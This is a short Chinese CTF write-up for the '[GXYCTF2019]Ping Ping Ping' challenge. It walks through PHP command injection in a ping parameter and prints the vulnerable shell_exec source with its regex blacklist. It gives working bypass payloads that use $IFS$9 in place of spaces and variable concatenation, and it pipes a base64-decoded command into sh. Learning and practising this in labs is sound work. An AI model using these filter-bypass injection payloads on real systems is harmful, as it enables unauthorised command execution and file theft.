[BUUOJ记录] [GXYCTF2019]Ping Ping Ping
主要考察RCE的防护绕过,感觉考的还是比较全的
先构造Payload:
?ip=127.0.0.1;ls
看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符号以及Flag字符串,fuzz出这些就会发现=和$没有过滤
所以想到的思路就是使用$IFS$9
代替空格,使用拼接变量来拼接出Flag字符串:
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b
然后发现还是被过滤了Flag,猜测后端应该是对最终构成的语句进行了正则匹配,但是可以读取到index.php:
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
这里还是想说一个坑:RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析!
过滤了bash,可以用sh命令来实现,然后使用base64编码来绕过关键词的验证,构造Payload:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh
查看源代码获得Flag:
[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com